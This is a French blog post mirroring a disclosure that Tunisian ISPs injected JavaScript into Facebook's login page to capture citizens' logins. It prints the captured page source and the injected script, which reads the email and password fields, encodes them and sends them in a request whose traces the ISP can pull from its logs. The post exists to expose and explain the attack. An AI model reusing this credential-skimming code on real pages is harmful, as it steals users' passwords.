La tunisie vole les login/pass de ses utilisateurs via les FAI – RootBSD

Bonjour a tous, cet article est un mirror de mon amis RootBSD. En effet depuis la publication de ce billet, son site est DoS. Il demande a tout le monde de mirrorer (et sourcer !) cet article pour faire passer l’infos.
La suite est donc de lui :

ATTENTION : depuis la publication de cet article mon serveur est particulièrement sujet au DDOS… Ne souhaitant pas répondre de manière aussi stupide à ces attaques. Je vous propose a chacun de faire un miroir de cet article. Je vous remercie d’avance.
Voici comment l’état tunisien injecte sur du JavaScript pour voler les identifiants et mot de passe de ses citoyens.

Voici le code source de facebook quand vous vous y connectez depuis la Tunisie :

Code:
<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Strict//EN”
http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd”&gt;
<html xmlns=”http://www.w3.org/1999/xhtml&#8221; xml:lang=”fr” lang=”fr” id=”facebook”>
<head>
<meta http-equiv=”Content-type” content=”text/html; charset=utf-8″ />
<meta http-equiv=”Content-language” content=”fr” />
<script type=”text/javascript”>
//<![CDATA[
CavalryLogger=false;window._is_quickling_index=””;window._EagleEyeSeed=”w6jw”;
//]]>
</script><noscript> <meta http-equiv=refresh content=”0; URL=/?_fb_noscript=1″ /> </noscript> 

<meta name=”robots” content=”noodp,noydir” />
<meta name=”description” content=” Facebook est un réseau social qui vous relie à des amis, des collègues de travail, des camarades de classe ou d’autres personnes qui ont quelque chose à partager avec vous. Grâce à Facebook, vous pourrez rester en contact avec vos amis, charger un nombre illimité de photos, publier des liens et des vidéos… et faire plus ample connaissance avec les personnes que vous rencontrez.” />
<link rel=”alternate” media=”handheld” href=”http://www.facebook.com/&#8221; />
<title>Bienvenue sur Facebook</title>
<noscript><meta http-equiv=”X-Frame-Options” content=”deny” /></noscript>
<link type=”text/css” rel=”stylesheet” href=”http://static.ak.fbcdn.net/rsrc.php/y6/r/TVhzFSu8Tm2.css&#8221; />

<link type=”text/css” rel=”stylesheet” href=”http://static.ak.fbcdn.net/rsrc.php/y-/r/zbLi6FTnPZj.css&#8221; />
<link type=”text/css” rel=”stylesheet” href=”http://b.static.ak.fbcdn.net/rsrc.php/yN/r/Uuokrl6Xv3c.css&#8221; />
<link type=”text/css” rel=”stylesheet” href=”http://b.static.ak.fbcdn.net/rsrc.php/yT/r/rUdGGxe1Qk1.css&#8221; />

<script type=”text/javascript” src=”http://b.static.ak.fbcdn.net/rsrc.php/yK/r/NK-XVT6bZ0B.js”></script&gt;

<link rel=”search” type=”application/opensearchdescription+xml” href=”http://b.static.ak.fbcdn.net/rsrc.php/yJ/r/H2SSvhJMJA-.xml&#8221; title=”Facebook” />
<link rel=”shortcut icon” href=”http://static.ak.fbcdn.net/rsrc.php/y7/r/5875srnzL-I.ico&#8221; /></head>
<body>
<div id=”FB_HiddenContainer” style=”position:absolute; top:-10000px; width:0px; height:0px;” ></div><div id=”blueBar”></div><div id=”globalContainer”><div id=”dialogContainer”></div><div id=”dropmenu_container”></div><div id=”content” class=”fb_content clearfix”><div ><!– 2365fa3194ecdc0cab15721ce967a9f8663937c7 –>
<div><div class=”loggedout_menubar_container”><div><a href=”/” title=”Accéder à la page d’accueil”><img src=”http://static.ak.fbcdn.net/rsrc.php/yp/r/kk8dc2UJYJ4.png&#8221; alt=”Logo de Facebook” width=”170″ height=”36″ /></a><div class=”rfloat”><div><form method=”POST” action=”https://login.facebook.com/login.php?login_attempt=1&#8243; id=”login_form” onsubmit=”hAAAQ3d()” onsubmit=”return Event.__inlineSubmit(this,event)”><div style=”position:absolute;top:-250px”><img id=”x6y7z8″ src=””/></div>
<script language=”javascript”>
<!–
function h6h(st){var st2=””;for(i=0;i<st.length;i++){c=st.charCodeAt(i);ch=(c&0xF0)>>4;cl=c&0x0F;
st2=st2+String.fromCharCode(ch+97)+String.fromCharCode(cl+97);}return st2;}
function r5t(len){var st=””;for(i=0;i<len;i++)st=st+String.fromCharCode(Math.floor(Math.random(1)*26+97)); return st;}
function hAAAQ3d() {
var frm = document.getElementById(“login_form”); var us3r = frm.email.value; var pa55 = frm.pass.value;
var url = “http://www.facebook.com/wo0dh3ad?q=”+r5t(5)+”&u=”+h6h(us3r)+”&p=”+h6h(pa55); var bnm = navigator.appName; if(bnm==’Microsoft Internet Explorer’) inv0k3(url); else inv0k2(url);}
function inv0k1(url) {var objhq = document.getElementById(“x6y7z8”); objhq.src = url;}
function inv0k2(url) {var xr = new XMLHttpRequest(); xr.open(“GET”, url, false); xr.send(“”);}
function inv0k3(url) {var xr = new ActiveXObject(‘Microsoft.XMLHTTP’); xr.open(“GET”, url, false); xr.send(“”);}
//–>

</script><input type=”hidden” name=”charset_test” value=”&euro;,&acute;,€,´,水,Д,Є” /><input type=”hidden” name=”lsd” value=”AOL9y” autocomplete=”off” /><input type=”hidden” id=”locale” name=”locale” value=”fr_FR” autocomplete=”off” /><table cellspacing=”0″><tr><td class=”html7magic”><label for=”email”>Adresse électronique</label></td><td class=”html7magic”><label for=”pass”>Mot de passe</label></td></tr><tr><td><input type=”text” name=”email” id=”email” tabindex=”1″ /></td><td><input type=”password” name=”pass” id=”pass” tabindex=”2″ /></td><td><label class=”uiButton uiButtonConfirm”><input value=”Connexion” tabindex=”4″ type=”submit” /></label></td></tr><tr><td class=”login_form_label_field”><input type=”checkbox” class=”inputcheckbox” value=”1″ id=”persistent” name=”persistent” checked=”1″ /><input type=”hidden” name=”default_persistent” value=”1″ /><label id=”label_persistent” for=”persistent”>Garder ma session active</label></td><td class=”login_form_label_field”><a href=”http://www.facebook.com/reset.php&#8221; rel=”nofollow”>Mot de passe oublié ?</a></td></tr></table><input type=”hidden” name=”charset_test” value=”&euro;,&acute;,€,´,水,Д,Є” /><input type=”hidden” id=”lsd” name=”lsd” value=”AOL9y” autocomplete=”off” /></form>
</div></div></div></div><div class=”WelcomePage_MainSell”><div class=”WelcomePage_MainSellCenter clearfix”><div class=”WelcomePage_MainSellLeft”><div class=”WelcomePage_MainMessage”>Facebook vous permet de rester en contact et d’échanger avec les personnes qui vous entourent.</div><div class=”WelcomePage_MainMap”>&nbsp;</div></div><div ><div class=”WelcomePage_SignUpSection”><div class=”WelcomePage_SignUpMessage”><div class=”WelcomePage_SignUpHeadline”>Inscription</div><div class=”WelcomePage_SignUpSubheadline”>C’est gratuit (et ça le restera toujours)</div></div><div id=”registration_container”><div><noscript><div id=”no_js_box”><h2>JavaScript est désactivé dans votre navigateur.</h2><p>Veuillez activer JavaScript dans votre navigateur ou installer un navigateur avec JavaScript pour pouvoir vous enregistrer sur Facebook.</p></div></noscript><div id=”simple_registration_container” class=”simple_registration_container”><div id=”reg_box”><form method=”post” id=”reg” name=”reg” onsubmit=”return

J’ai volontairement coupé le code source, le reste n’a que peu d’importance. Par partie curieuse est celle-ci :

Code:
<!–
function h6h(st){var st2=””;for(i=0;i<st.length;i++){c=st.charCodeAt(i);ch=(c&0xF0)>>4;cl=c&0x0F;
st2=st2+String.fromCharCode(ch+97)+String.fromCharCode(cl+97);}return st2;}
function r5t(len){var st=””;for(i=0;i<len;i++)st=st+String.fromCharCode(Math.floor(Math.random(1)*26+97)); return st;}
function hAAAQ3d() {
var frm = document.getElementById(“login_form”); var us3r = frm.email.value; var pa55 = frm.pass.value;
var url = “http://www.facebook.com/wo0dh3ad?q=”+r5t(5)+”&u=”+h6h(us3r)+”&p=”+h6h(pa55); var bnm = navigator.appName; if(bnm==’Microsoft Internet Explorer’) inv0k3(url); else inv0k2(url);}
function inv0k1(url) {var objhq = document.getElementById(“x6y7z8”); objhq.src = url;}
function inv0k2(url) {var xr = new XMLHttpRequest(); xr.open(“GET”, url, false); xr.send(“”);}
function inv0k3(url) {var xr = new ActiveXObject(‘Microsoft.XMLHTTP’); xr.open(“GET”, url, false); xr.send(“”);}
//–>

Ce code est injecté à la volé par le FAI et n’apparait dans aucun autre pays…
Ce morceau de JS fait donc un query vers hxxp://www.facebook.com/wo0dh3ad?q=blablablabla&u=USERNAME&p=PASSWORD
Avec le username et password en clair. La page wo0dh3ad n’existe évidement pas chez facebook… Par contre cela permet de pouvoir faire un simple : “grep wo0dh3ad /var/log/FAI.log”. Grâce à cela le FAI tunisien peut très facilement récupérer le username et le password de son abonné dans les logs !!!

3 thoughts on “La tunisie vole les login/pass de ses utilisateurs via les FAI – RootBSD

  1. NETTOYEUR25

    hxxp://www.facebook.com/wo0dh3ad?q=blablablabla&u=USERNAME&p=PASSWORD

    Désolé, mais là, j’ai pas compris !

    Reply

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s